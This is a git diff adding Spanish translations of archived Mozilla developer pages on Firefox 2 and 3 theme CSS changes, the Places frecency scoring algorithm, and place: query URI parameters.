+ <li><code>tab[beforeselected="true"] &gt; .tab-image-right</code></li>
+ <li><code>tab[selected="true"] &gt; .tab-image-left</code></li>
+ <li><code>tab[selected="true"] &gt; .tab-image-middle</code></li>
+ <li><code>tab[selected="true"] &gt; .tab-image-right</code></li>
+</ul>
+
+<p>Los siguientes estilos son nuevos en Firefox 2:</p>
+
+<ul>
+ <li><code>.alltabs-item &gt; .menu-iconic-left &gt; .menu-iconic-icon</code></li>
+ <li><code>.alltabs-item[busy] &gt; .menu-iconic-left &gt; .menu-iconic-icon</code></li>
+ <li><code>.alltabs-item[selected="true"]</code></li>
+ <li><code>.tab-close-button</code></li>
+ <li><code>.tab-close-button &gt; .toolbarbutton-icon</code></li>
+ <li><code>.tab-close-button-placeholder</code></li>
+ <li><code>.tab-close-button:hover</code></li>
+ <li><code>.tab-close-button:hover:active</code></li>
+ <li><code>.tabbrowser-arrowscrollbox &gt; .scrollbutton-down</code></li>
+ <li><code>.tabbrowser-arrowscrollbox &gt; .scrollbutton-down:hover</code></li>
+ <li><code>.tabbrowser-arrowscrollbox &gt; .scrollbutton-up</code></li>
+ <li><code>.tabbrowser-arrowscrollbox &gt; .scrollbutton-up:hover</code></li>
+ <li><code>.tabbrowser-tab &gt; .tab-close-button</code></li>
+ <li><code>.tabbrowser-tab:not([selected="true"]) &gt; .tab-close-button</code></li>
+ <li><code>.tabbrowser-tab:not([selected="true"]):hover &gt; .tab-close-button</code></li>
+ <li><code>.tabbrowser-tab[selected="true"] &gt; .tab-close-button</code></li>
+ <li><code>.tabbrowser-tab[selected="true"] &gt; .tab-close-button:hover</code></li>
+ <li><code>.tabbrowser-tab[selected="true"] &gt; .tab-close-button:hover:active</code></li>
+ <li><code>.tabbrowser-tabs[overflow="true"] .tabs-alltabs-box</code></li>
+ <li><code>.tabs-alltabs-box</code></li>
+ <li><code>.tabs-alltabs-box:hover</code></li>
+ <li><code>.tabs-alltabs-box[flash="true"]</code></li>
+ <li><code>tab &gt; .tab-image-left</code></li>
+ <li><code>tab &gt; .tab-image-middle</code></li>
+ <li><code>tab &gt; .tab-image-middle &gt; .tab-text</code></li>
+ <li><code>tab &gt; .tab-image-right</code></li>
+ <li><code>tab:focus &gt; .tab-image-middle &gt; .tab-text</code></li>
+ <li><code>tab:hover:not([selected="true"]) &gt; .tab-image-left</code></li>
+ <li><code>tab:hover:not([selected="true"]) &gt; .tab-image-middle</code></li>
+ <li><code>tab:hover:not([selected="true"]) &gt; .tab-image-right</code></li>
+ <li><code>tab:not([selected="true"]) &gt; .tab-image-left</code></li>
+ <li><code>tab:not([selected="true"]) &gt; .tab-image-middle</code></li>
+ <li><code>tab[selected="true"] .tab-image-middle &gt; .tab-text</code></li>
+</ul>
+
+<p>Si quieres tambien puedes hacer cambios en otros estilos.</p>
+
+<h4 id="menu.css" name="menu.css"><code>menu.css</code></h4>
+
+<p>El siguiente estilo ya no se usa en Firefox 2 y a sido borrado:</p>
+
+<ul>
+ <li><code>menulist &gt; menupopup &gt; menuitem[_moz-menuactive="true"]</code></li>
+</ul>
+
+<p>El tema de Firefox 2 también añade los siguientes estilos nuevos:</p>
+
+<ul>
+ <li><code>.menu-iconic-icon</code></li>
+ <li><code>menubar &gt; menu</code></li>
+ <li><code>menubar &gt; menu[_moz-menuactive="true"][open="true"]</code></li>
+ <li><code>menuitem[type="checkbox"] &gt; .menu-iconic-left</code></li>
+ <li><code>menuitem[type="radio"] &gt; .menu-iconic-left</code></li>
+</ul>
+
+<p>Si lo deseas, también puedes cambiar la definición de otros estilos.</p>
+
+<h4 id="notification.css" name="notification.css"><code>notification.css</code></h4>
+
+<p>Este archivo es nuevo en Firefox 2. Se usa para la barra de notificación que aparece a lo largo de la parte superior del navegador para mostrar al usuario mensajes como: popup bloqueado, se necesita plugin, etcétera. Hay tres niveles de gravedad para los mensajes, info, warning y critical. Deberías definir los siguientes estilos:</p>
+
+<ul>
+ <li><code>.messageButton</code></li>
+ <li><code>.messageCloseButton</code></li>
+ <li><code>.messageImage</code></li>
+ <li><code>.messageText</code></li>
+ <li><code>.notification-inner</code></li>
+ <li><code>notification</code></li>
+ <li><code>notification[type="info"]</code></li>
+ <li><code>notification[type="warning"]</code></li>
+ <li><code>notification[type="critical"]</code></li>
+</ul>
+
+<h4 id="scrollbox.css" name="scrollbox.css"><code>scrollbox.css</code></h4>
+
+<p>Para el tema de Firefox 2 en este archivo se han añadido los siguiente estilos:</p>
+
+<ul>
+ <li><code>.autorepeatbutton-down[disabled="true"]</code></li>
+ <li><code>.autorepeatbutton-down[orient="horizontal"]</code></li>
+ <li><code>.autorepeatbutton-down[orient="horizontal"][disabled="true"]</code></li>
+ <li><code>.autorepeatbutton-up[disabled="true"]</code></li>
+ <li><code>.autorepeatbutton-up[orient="horizontal"]</code></li>
+ <li><code>.autorepeatbutton-up[orient="horizontal"][disabled="true"]</code></li>
+ <li><code>.scrollbutton-down</code></li>
+ <li><code>.scrollbutton-down &gt; .toolbarbutton-text</code></li>
+ <li><code>.scrollbutton-down[disabled="true"]</code></li>
+ <li><code>.scrollbutton-down[orient="horizontal"]</code></li>
+ <li><code>.scrollbutton-down[orient="horizontal"][disabled="true"]</code></li>
+ <li><code>.scrollbutton-up</code></li>
+ <li><code>.scrollbutton-up &gt; .toolbarbutton-text</code></li>
+ <li><code>.scrollbutton-up[disabled="true"]</code></li>
+ <li><code>.scrollbutton-up[orient="horizontal"]</code></li>
+ <li><code>.scrollbutton-up[orient="horizontal"][disabled="true"]</code></li>
+</ul>
+
+<p>Puedes hacer cambios en otros estilos si quieres.</p>
+
+<ul>
+ <li><code>toolbar[mode="icons"] .toolbarbutton-text</code></li>
+ <li><code>toolbar[mode="text"] .toolbarbutton-1 &gt; .toolbarbutton-text</code></li>
+ <li><code>toolbar[mode="text"] .toolbarbutton-1 &gt; stack &gt; toolbarbutton &gt; .toolbarbutton-text</code></li>
+ <li><code>toolbar[mode="text"] .toolbarbutton-icon</code></li>
+</ul>
+
+<p>Si lo deseas también puedes cambiar otros estilos.</p>
+
+<h3 id="Cambios_en_mozapps" name="Cambios_en_mozapps">Cambios en <code>mozapps</code></h3>
+
+<h4 id="extensions.2Fabout.css" name="extensions.2Fabout.css"><code>extensions/about.css</code></h4>
+
+<p>Los estilos siguientes para Firefox 1.5 ya no se usan en Firefox 2 y deberían ser borrados:</p>
+
+<ul>
+ <li><code>#contributorsBox</code></li>
+ <li><code>#creatorBox</code></li>
+ <li><code>#extensionContributors</code></li>
+ <li><code>#extensionContributors</code></li>
+ <li><code>#extensionCreatorLabel</code></li>
+</ul>
+
+<p>Se añadieron los siguiente estilos:</p>
+
+<ul>
+ <li><code>.indent</code></li>
+ <li><code>.sectionTitle</code></li>
+</ul>
+
+<p>también puedes cambiar otros estilos, si quieres.</p>
+
+<h4 id="extensions.2Fupdate.css" name="extensions.2Fupdate.css"><code>extensions/update.css</code></h4>
+
+<p>Los siguientes estilos ya no se usan en Firefox 2 y deberían ser borrados del tema:</p>
+
+<ul>
+ <li><code>#foundList</code></li>
+ <li><code>#statusbar-updates</code></li>
+ <li><code>.updateCategoryBox</code></li>
+ <li><code>.updateCategoryContent</code></li>
+ <li><code>.updateCategoryIcon</code></li>
+ <li><code>.updateCategoryLabel[selected="true"]</code></li>
+ <li><code>.updateIcon</code></li>
+ <li><code>.updateIcon[severity="0"]</code></li>
+ <li><code>.updateIcon[severity="1"]</code></li>
+ <li><code>.updateIcon[severity="2"]</code></li>
+ <li><code>.updateIndicator &gt; label</code></li>
+ <li><code>.updateIndicator[updateCount="0"]</code></li>
+ <li><code>.updateItemChecked</code></li>
+ <li><code>.updateItemChecked .checkbox-label-box</code></li>
+ <li><code>.updateItemFromLabel</code></li>
+ <li><code>.updateItemIcon</code></li>
+ <li><code>.updateItemIcon</code></li>
+ <li><code>.updateItemName</code></li>
+ <li><code>.updateItemNameRow</code></li>
+ <li><code>.updateItemURL</code></li>
+ <li><code>.warning</code></li>
+ <li><code>radio[type="update-type"]</code></li>
+ <li><code>radiogroup[type="update-types"]</code></li>
+ <li><code>toolbarbutton[type="updates"]</code></li>
+ <li><code>toolbarbutton[type="updates"] &gt; .toolbarbutton-icon</code></li>
+ <li><code>toolbarbutton[type="updates"][severity="0"] &gt; .toolbarbutton-icon</code></li>
+ <li><code>toolbarbutton[type="updates"][severity="1"] &gt; .toolbarbutton-icon</code></li>
+ <li><code>toolbarbutton[type="updates"][severity="2"] &gt; .toolbarbutton-icon</code></li>
+ <li><code>toolbarbutton[type="updates"][updateCount="0"]</code></li>
+ <li><code>updateitem</code></li>
+</ul>
+
+<p>También se añadieron los siguientes estilos:</p>
+
+<ul>
+ <li><code>.alertBox</code></li>
+ <li><code>.throbber</code></li>
+</ul>
diff --git a/files/es/cambios_en_los_temas_de_firefox_3/index.html b/files/es/cambios_en_los_temas_de_firefox_3/index.html
new file mode 100644
index 0000000000..1b053b48f6
--- /dev/null
+++ b/files/es/cambios_en_los_temas_de_firefox_3/index.html
@@ -0,0 +1,101 @@
+---
+title: Cambios en los temas de Firefox 3
+slug: Cambios_en_los_temas_de_Firefox_3
+tags:
+  - Themes
+  - páginas_a_traducir
+translation_of: Archive/Themes/Theme_changes_in_Firefox_3
+---
+<ul id="nav-access"> <li><a href="#pageContent">Saltar al contenido principal</a></li> <li><a href="#searchInput">Saltar al cuadro de búsqueda</a></li>
+</ul>
+<div class="globalWrap">
+<div class="body">&lt;noscript&gt;<div id="noscript"><p>Some features of this site require JavaScript.</p></div>&lt;/noscript&gt;
+<div class="pageContent PageDW-ThemechangesinFirefox3" id="pageContent">
+<div class="pageTitle">
+<h1 id="Este_artículo_describe_los_cambios_hechos_al_actualizar_al_tema_de_Firefox_para_trabajar_en_Firefox_3.">Este artículo describe los cambios hechos al actualizar al tema de Firefox para trabajar en: <a href="../../../../en/Firefox_3" rel="internal">Firefox 3</a>.</h1>
+<div class="note"><strong>Nota:</strong> Se puede utilizar el artículo <a href="../../../../en/Updating_themes_for_Firefox_3" rel="internal">Actualizar temas para Firefox 3</a> como guía para actualizar temas.<br>
+Si alguien con experiencia en la creación de temas quisiera escribir algún artículo, adelante!</div>
+<div id="section_1">
+<h2 class="editable" id="Los_cambios_del_navegador_requieren_actualizar_los_temas">Los cambios del navegador requieren actualizar los temas</h2>
+<p>Existen diversos archivos que fueron cambiados o borrados del navegador que pueden requerir que realices cambios a tu tema. La siguiente tabla muestra tanto el archivo XUL cambiado como el archivos CSS correspondientes al tema que debes de actualizar.</p>
+<table class="standard-table"> <tbody> <tr> <td class="header">Filename</td> <td class="header">CSS File</td> <td class="header">Details</td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> </tbody>
+</table>
+</div>
+<div id="section_2">
+<h2 class="editable" id="Cambios_en_el_tema_por_defecto">Cambios en el tema por defecto</h2>
+<p>La siguiente tabla muestra los cambios hechos en el tema por defecto de Firefox 3; puedes utilizar esta información como apoyo para tener una idea de los cambios que necesitas hacer.</p>
+<div id="section_3">
+<h3 class="editable" id="Lista_de_todos_los_archivos">Lista de todos los archivos</h3>
+<div id="section_4">
+<h4 class="editable" id="En_todas_las_plataformas">En todas las plataformas</h4>
+<table class="standard-table"> <tbody> <tr> <td class="header">Archivo</td> <td class="header">Descripción del cambio</td> </tr> <tr> <td><code>browser/themes/*/browser/browser.css</code></td> <td>El ancho del indicador del 'drag and drop' ya no es calculado durante el arrastre (tabbrowser.xml). En vez de eso la propiedad '-moz-margin-start' debe ser agregada a .tab-drop-indicator-bar, con el valor de la mitad del ancho de la imagen indicadora. También, la visibilidad del indicador ahora es controlada is now controlled by setting collapsed in tabbrowser.xml. Como resultado, la propiedad 'display' debe ser eliminada de .tab-drop-indicator-bar (incluyendo for dragging="true").</td> </tr> </tbody>
+</table>
+</div>
+<div id="section_5">
+<h4 class="editable" id="En_Mac_OS_X">En Mac OS X</h4>
+<table class="standard-table"> <tbody> <tr> <td class="header">Archivo</td> <td class="header">Descripción del cambio</td> </tr> <tr> <td><code>browser/themes/pinstripe/browser/tabbrowser/tabDragIndicator.png</code></td> <td>Se removieron los pixeles blancos superfluos de los bordes, por lo tanto la imagen es más pequeña. Puede o no afectar a otros temas Mac que lo usen.</td> </tr> <tr> <td><code>browser/themes/pinstripe/browser/browser.css</code></td> <td>.tabbrowser-tab[first-tab="true"] &gt; .tab-image-left ya no tiene un margin-left. En vez de eso .tabs-left now displayed and given the same width as the former margin-left. It was already done this way in Winstripe.</td> </tr> </tbody>
+</table>
+</div>
+</div>
+<div id="section_6">
+<h3 class="editable" id="Cambios_en_browser">Cambios en <code>browser</code></h3>
+</div>
+<div id="section_7">
+<h3 class="editable" id="Cambios_en_global">Cambios en <code>global</code></h3>
+<div id="section_8">
+<h4 class="editable" id="En_todas_las_plataformas_2">En todas las plataformas</h4>
+<p>El fondo amarillo para la barra de dirección es obsoleto; en lugar de ello, los temas deben darle formato al nuevo elemento <code>#identity-box</code> dependiendo de su clase <code>verifiedDomain</code>/<code>verifiedIdentity</code>.</p>
+<p>El botón Ir ahora está localizado dentro de la barra de dirección, por lo tanto su imagen (<code><a class=" external" rel="freelink">chrome://browser/skin/Go-arrow.png</a></code>) tiene que ser más pequeña. El código requerido para mostrar y ocultar el botón Ir y otros iconos de la barra de dirección es:</p>
+<pre class="eval">#urlbar[pageproxystate="invalid"] &gt; #urlbar-icons &gt; :not(#go-button) ,
+#urlbar[pageproxystate="valid"] &gt; #urlbar-icons &gt; #go-button {
+  visibility: collapse;
+}
+</pre>
+<div id="section_9">
+<h5 class="editable" id="Imágenes_agregadas">Imágenes agregadas</h5>
+<p>Agrega las siguientes imágenes:</p>
+<dl><dt><code><a class=" external" rel="freelink">chrome://global/skin/icons/information-16.png</a></code> </dt><dd>Utilizada cuando se presentan avisos de información. </dd><dt><code><a class=" external" rel="freelink">chrome://global/skin/icons/warning-16.png</a></code> </dt><dd>Utilizada cuando de muestran alertas. </dd></dl></div>
+<div id="section_10">
+<h5 class="editable" id="Imágenes_eliminadas">Imágenes eliminadas</h5>
+<p>Las siguientes imágenes fueron eliminadas:</p>
+<dl><dt><code><a class=" external" rel="freelink">chrome://mozapps/skin/extensions/question.png</a></code> </dt><dd>Ya no es utilizada. </dd></dl></div>
+</div>
+<div id="section_11">
+<h4 class="editable" id="En_Mac_OS_X_2">En Mac OS X</h4>
+<p>Los temas de Mac OS X para Firefox 3 deben agregar estas dos clases al final del archivo <code><a class=" external" rel="freelink">chrome://global/skin/wizard.css</a></code>:</p>
+<pre class="eval">.wizard-buttons-btm {
+  padding: <em>X</em>px;
+}
+
+.wizard-label-box {
+  display: none;
+}
+</pre>
+<p>El valor numérico de X, el número de pixeles de relleno (padding) en <code>.wizard-buttons-btm</code>, debe ser el mismo valor que el de el margen para <code>.wizard-buttons-box-2</code>.</p>
+<div id="section_12">
+<h5 class="editable" id="Cambios_de_imágenes">Cambios de imágenes</h5>
+<p><a class=" external" rel="freelink">chrome://global/skin/icons/loading_16.gif</a> fue reemplazado por  <a class=" external" rel="freelink">chrome://global/skin/icons/loading_16.png</a> .</p>
+</div>
+</div>
+</div>
+<div id="section_13">
+<h3 class="editable" id="Cambios_en_mozapps">Cambios en <code>mozapps</code></h3>
+</div>
+</div>
+<h2 class="editable" id="Vea_también">Vea también</h2>
+</div>
+</div>
+</div>
+</div>
+<div class="ui-msg-wrap" id="MTMessage" style="display: none;">
+<div class="ui-msg ui-errormsg" id="MTMessageStyle">
+<div class="ui-msg-opt">
+<ul> <li><a class="dismiss" href="#">dismiss message</a></li> <li><a class="details" href="#" id="MTMessageDetailsLink">view details</a></li>
+</ul>
+<div class="ui-msg-autoclose"><span id="MTMessageUnpaused" style="display: inline;">Message will close by itself in seconds</span> <span id="MTMessagePaused" style="display: none;">Message timer has been stopped</span></div>
+</div>
+<div class="ui-msg-desc" id="MTMessageDetails" style="display: none;">
+<p>Viewing Details:</p>
+</div>
+</div>
+</div>
diff --git a/files/es/catálogo/algoritmo_frecency/index.html b/files/es/catálogo/algoritmo_frecency/index.html
new file mode 100644
index 0000000000..d533b36402
--- /dev/null
+++ b/files/es/catálogo/algoritmo_frecency/index.html
@@ -0,0 +1,138 @@
+---
+title: Algoritmo Frecency
+slug: Catálogo/algoritmo_frecency
+tags:
+  - Desarrollo Mozilla
+  - Lugares
+  - Places
+  - extensiones
+translation_of: Mozilla/Tech/Places/Frecency_algorithm
+---
+<p></p>
+<p>Frecency es una puntuación dada a cada URI único en Places, comprendiendo marcadores, histórico y etiquetas. Esta puntuación está determinada por la cantidad de re-visitas, el tipo de esas visitas, cuanto de recientes han sido y si el URI se ha añadido como marcador o se le ha etiquetado.</p>
+<p>La palabra "frecency" viene de la combinación de las palabras en inglés "frequency" (frecuencia) y "recency" (reciente).</p>
+<ul>
+ <li>El valor de la <em>frecency</em> por defecto para todas las entradas válidas es -1. Los sitios con este valor pueden aparecer en los resultados de autocompletado.</li>
+ <li>Los lugares inválidos tienen un valor <em>frecency</em> de cero, y no aparecerán en los resultados de autocompletado. Ejemplos de lugares inválidos son consultas "place:", y entradas no visitadas de canales web dinámicos.</li>
+</ul>
+<h3 id="The_frecency_calculation_process" name="The_frecency_calculation_process">El proceso de cálculo de frecency</h3>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Para las 10 visitas más recientes (donde 10 está determinado por places.frecency.numVisits):</td>
+  </tr>
+  <tr>
+   <td>.. Determinar el porcentaje de bonus por el tipo de visita (ej. el "tipo de transición"):</td>
+  </tr>
+  <tr>
+   <td>.... 0 (places.frecency.embedVisitBonus)</td>
+  </tr>
+  <tr>
+   <td>.... 120 (places.frecency.linkVisitBonus)</td>
+  </tr>
+  <tr>
+   <td>.... 200 (places.frecency.typedVisitBonus)</td>
+  </tr>
+  <tr>
+   <td>.... 140 (places.frecency.bookmarkVisitBonus)</td>
+  </tr>
+  <tr>
+   <td>.... 0 (places.frecency.downloadVisitBonus)</td>
+  </tr>
+  <tr>
+   <td>.... 0 (places.frecency.permRedirectVisitBonus)</td>
+  </tr>
+  <tr>
+   <td>.... 0 (places.frecency.tempRedirectVisitBonus)</td>
+  </tr>
+  <tr>
+   <td>.... 0 (places.frecency.defaultVisitBonus)</td>
+  </tr>
+  <tr>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>.. Determinar el peso, basado en cómo fueron de recientes las visitas:</td>
+  </tr>
+  <tr>
+   <td>.... 100 (places.frecency.firstBucketWeight, 4 días de tamaño de contenedor, en places.frecency.firstBucketCutoff)</td>
+  </tr>
+  <tr>
+   <td>.... 70 (places.frecency.secondBucketWeight, 14 días de tamaño de contenedor, en places.frecency.secondBucketCutoff)</td>
+  </tr>
+  <tr>
+   <td>.... 50 (places.frecency.thirdBucketWeight, 31 días de tamaño de contenedor, en places.frecency.thirdBucketCutoff)</td>
+  </tr>
+  <tr>
+   <td>.... 30 (places.frecency.fourthBucketWeight, 90 días de tamaño de contenedor, en places.frecency.fourthBucketCutoff)</td>
+  </tr>
+  <tr>
+   <td>.... 10 (places.frecency.defaultBucketWeight, tamaño de contenedor en places.frecency.defaultBucketCutoff)</td>
+  </tr>
+  <tr>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>.. Puntos para cada muestra de visita = (bonus / 100,0) * peso</td>
+  </tr>
+  <tr>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>La puntuación <em>frecency</em> final para URI visitadas = límite_máximo(contador total de visitas * suma de puntos para las visitas de la muestra / número de visitas de la muestra)</td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<p>Este ejemplo de cálculo de <em>frecency</em> de un URI que ha sido añadido a marcadores y recientemente ha sido visitado dos veces (<span class="long_text" id="result_box" lang="es"><span class="hps">una vez </span><span class="hps">ayer,</span> <span class="hps">y otra vez</span> <span class="hps">la semana pasada</span> <span class="hps">haciendo clic en un</span> <span class="hps">enlace), y otras dos veces hace más de 90 días:</span></span></p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>0</td>
+   <td>Puntuación por defecto</td>
+  </tr>
+  <tr>
+   <td>+140</td>
+   <td>100 * (140/100,0) - Primer contenedor por peso y bonus por marcador</td>
+  </tr>
+  <tr>
+   <td>+84</td>
+   <td>70 * (120/100,0) - Segundo contenedor por peso y bonus por seguir el enlace</td>
+  </tr>
+  <tr>
+   <td>+14</td>
+   <td>10 * (140/100,0) - Quinto contenedor por peso y bonus por marcador</td>
+  </tr>
+  <tr>
+   <td>+14</td>
+   <td>10 * (140/100,0) - Quinto contenedor por peso y bonus por marcador</td>
+  </tr>
+  <tr>
+   <td>--</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>252</td>
+   <td>(4 * 252 / 4) - Puntuación <em>frecency</em> final</td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Notes" name="Notes">Notas</h3>
+<ul>
+ <li>El número de muestras de visitas es min(10 visitas pref. más recientes, contador total de visitas).</li>
+ <li>El contador total de visitas incluye visitas incrustadas, sin definir, etc. (no excluye visitas inválidas o incrustadas).</li>
+</ul>
+<h3 id="Developer_notes" name="Developer_notes">Notas para los desarrolladores</h3>
+<p>Aquí hay varias notas del desarrollo que puedes leer sobre Places y que pueden ofrecer <span class="long_text" id="result_box" lang="es"><span class="hps">perspectivas adicionales</span></span>:</p>
+<ul>
+ <li><a class="external" href="http://wiki.mozilla.org/User:Mconnor/PlacesFrecency">Ideas iniciales del algoritmo</a></li>
+ <li><a class="external" href="http://wiki.mozilla.org/User:Sspitzer/GlobalFrecency">Notas de la implementación</a></li>
+</ul>
+<h3 id="Historia">Historia</h3>
+<ul>
+ <li class="noinclude">El diseño inicial del algoritmo fue de Mike Connor y Seth Spitzer.</li>
+ <li class="noinclude">La implementación inicial fue hecha por Seth y Dietrich Ayala.</li>
+ <li class="noinclude">Otras características y refinamientos por Ed Lee (implementación del emparejamiento adaptativo y la mayoría de las restricciones de caracteres), Marco Bonardo y Shawn Wilsher.</li>
+ <li class="noinclude">Los dos últimos portaron más tarde el código C++ a JavaScript.</li>
+</ul>
+<p></p>
diff --git a/files/es/catálogo/direcciones_web_consultas_places/index.html b/files/es/catálogo/direcciones_web_consultas_places/index.html
new file mode 100644
index 0000000000..e1f3cbb628
--- /dev/null
+++ b/files/es/catálogo/direcciones_web_consultas_places/index.html
@@ -0,0 +1,345 @@
+---
+title: Direcciones web de consultas Places
+slug: Catálogo/Direcciones_web_consultas_Places
+tags:
+  - Firefox
+  - Firefox Desktop
+  - Guía
+  - Herramientas
+  - Intermedio
+translation_of: Mozilla/Tech/Places/Places_query_URIs
+---
+<p></p>
+
+<p>Este artículo describe los parámetros que se pueden usar al crear direcciones web del tipo <code>place</code>. Estas direcciones web ejecutan consultas <a href="/en/Places" title="Places">Places</a>.</p>
+
+<p>Se puede usar una dirección web del tipo <code>place</code> como marcador. Por ejemplo, desde la biblioteca de Firefox se puede ir a <em>Otros marcadores</em>, luego hacer clic en el botón <em>Organizar</em> y luego elegir <em>Nuevo marcador…</em> En el campo <em>Dirección</em> se puede ingresar una dirección web del tipo <code>place</code> para crear una consulta. Una vez creado esta carpeta de marcador inteligente, se puede arrastrar el mismo a la barra de direcciones y soltarlo allí, para que, al hacerle clic, aparezca un menú desplegable conteniendo los resultados de dicha consulta.</p>
+
+<p>La siguiente dirección web del tipo <code>place</code> es la que se usa en el marcador inteligente <em>Más visitadas</em>, el cual pertenece al conjunto de marcadores inteligentes creados al comenzar a usar Firefox 3:</p>
+
+<pre class="eval">place:queryType=0&amp;sort=8&amp;maxResults=10
+</pre>
+
+<p>Los parámetros usados en esta consulta son:</p>
+
+<dl>
+ <dt><code>queryType=0</code></dt>
+ <dd>Esto indica que la consulta debería tener en cuenta sólo el historial del usuario y no los marcadores.</dd>
+ <dt><code>sort=8</code></dt>
+ <dd>El parámetro <code>sort</code> indica que los resultados de la consulta deben ser mostrados en el orden numérico inverso, según la cantidad de visitas. En otras palabras, las páginas más visitadas deberían aparecer primero, y las páginas menos visitadas, últimas.</dd>
+ <dt><code>maxResults=10</code></dt>
+ <dd>Este parámetro especifica que se tiene que mostrar un máximo de 10 resultados en la consulta.</dd>
+</dl>
+
+<p>Si se quiere cambiar esta consulta para que sólo se tenga en cuenta las visitas de hoy, entonces se puede cambiar a:</p>
+
+<pre class="eval">place:queryType=0&amp;sort=8&amp;maxResults=10&amp;beginTimeRef=1&amp;beginTime=0
+</pre>
+
+<p>Estos son los nuevos parámetros agregados acá:</p>
+
+<dl>
+ <dt><code>beginTimeRef=1</code></dt>
+ <dd>Indica que el parámetro <code>beginTime</code> que sigue se refiere a la medianoche de hoy.</dd>
+ <dt><code>beginTime</code></dt>
+ <dd>Especifica la cantidad de tiempo, en microsegundos, desde la medianoche en la que se comenzó a registrar las visitas. Al especificar <em>0</em> como valor, se indica que se quiere tener en cuenta todas las visitas ocurridas hoy.</dd>
+</dl>
+
+<h2 id="Query_parameters" name="Query_parameters">Parámetros de consulta</h2>
+
+<p>Esta es una lista de los parámetros disponibles para usar.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Parámetro</th>
+   <th>Tipo</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td><code>beginTime</code></td>
+   <td><code>unsigned long</code></td>
+   <td>El tiempo, en microsegundos, del resultado más antiguo.</td>
+  </tr>
+  <tr>
+   <td><code>beginTimeRef</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Indica el tiempo de referencia especificado en <code>beginTime</code>:
+    <dl>
+     <dt>0</dt>
+     <dd>El "Tiempo Unix", contando a partir del 1º de enero de 1970, con huso horario GMT/UTC. Este es el valor predeterminado.</dd>
+     <dt>1</dt>
+     <dd>Este tiempo es relativo a la última medianoche. Esto es útil para consultas relacionadas al día de hoy.</dd>
+     <dt>2</dt>
+     <dd>Este tiempo es relativo a ahora mismo.</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td><code>endTime</code></td>
+   <td><code>unsigned long</code></td>
+   <td>La hora, en microsegundos, del último resultado.</td>
+  </tr>
+  <tr>
+   <td><code>endTimeRef</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Indica el tipo de referencia especificado en <code>endTime</code>. Los valores son los mismos que para <code>beginTime</code>.</td>
+  </tr>
+  <tr>
+   <td><code>terms</code></td>
+   <td><code>cadena</code></td>
+   <td>El término a consultar.</td>
+  </tr>
+  <tr>
+   <td><code>minVisits</code></td>
+   <td><code>long</code></td>
+   <td>Filtra resultados basados en el mínimo número de visitas. Especificar <em>-1</em> (el valor predeterminado) para mostrar todos los resultados, o cualquier otro número para incluir sólo los resultados con una cantidad mayor de visitas al valor ingresado.</td>
+  </tr>
+  <tr>
+   <td><code>maxVisits</code></td>
+   <td><code>long</code></td>
+   <td>Filtra resultados basados en el máximo número de visitas. Sólo los elementos que hayan sido visitados menos veces que el número ingresado serán incluidos en los resultados. Especificar <em>-1</em> (el valor predeterminado) para no filtrar.</td>
+  </tr>
+  <tr>
+   <td><code>onlyBookmarked</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces sólo los elementos en marcadores serán incluidos en los resultados.</td>
+  </tr>
+  <tr>
+   <td><code>domainIsHost</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces el dominio <code>domain</code> debe ser una coincidencia exacta. De lo contrario, todo lo que termine en <code>domain</code> es considerado una coincidencia.</td>
+  </tr>
+  <tr>
+   <td><code>domain</code></td>
+   <td><code>cadena</code></td>
+   <td>Consulta por elementos que coincidan con este servidor o nombre de dominio. Ver el parámetro <code>domainIsHost</code> para más información.</td>
+  </tr>
+  <tr>
+   <td><code>folder</code></td>
+   <td><code>cadena</code></td>
+   <td>La carpeta a consultar. Puede ser una de las siguientes:
+    <dl>
+     <dt>PLACES_ROOT</dt>
+     <dd>La carpeta raíz de Places.</dd>
+     <dt>BOOKMARKS_MENU</dt>
+     <dd>El menú <em>Marcadores</em>.</dd>
+     <dt>TOOLBAR</dt>
+     <dd>La barra de marcadores.</dd>
+     <dt>TAGS</dt>
+     <dd>Etiquetas</dd>
+     <dt>UNFILED_BOOKMARKS</dt>
+     <dd>Otros marcadores</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td><code>!annotation</code></td>
+   <td><code>lógico</code></td>
+   <td>Indica si incluir o rechazar elementos que coincidan la anotación especificada por <code>annotation</code>. Si el valor es <code>true</code>, entonces los elementos que no tengan la anotación especificada serán rechazados.</td>
+  </tr>
+  <tr>
+   <td><code>annotation</code></td>
+   <td><code>cadena</code></td>
+   <td>La anotación a coincidir al consultar.</td>
+  </tr>
+  <tr>
+   <td><code>uri</code></td>
+   <td><code>cadena</code></td>
+   <td>La dirección web a consultar.</td>
+  </tr>
+  <tr>
+   <td><code>uriIsPrefix</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>false</code>, entonces la <code>uri</code> debe ser una coincidencia exacta; este es el valor predeterminado. Si el valor es <code>true</code>, entonces cualquier entrada que comience con la dirección web especificada, será considerada una coincidencia.</td>
+  </tr>
+  <tr>
+   <td><code>tag</code> </td>
+   <td><code>cadena</code></td>
+   <td>.</td>
+  </tr>
+  <tr>
+   <td><code>!tags</code> </td>
+   <td>.</td>
+   <td>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Operadores_de_consulta">Operadores de consulta</h2>
+
+<p>Los siguientes atributos permiten controlar los resultados con más precisión.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Operador</th>
+   <th>Tipo</th>
+   <th>Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>OR</code></td>
+   <td> </td>
+   <td>Este es el operador lógico OR ["O"].</td>
+  </tr>
+  <tr>
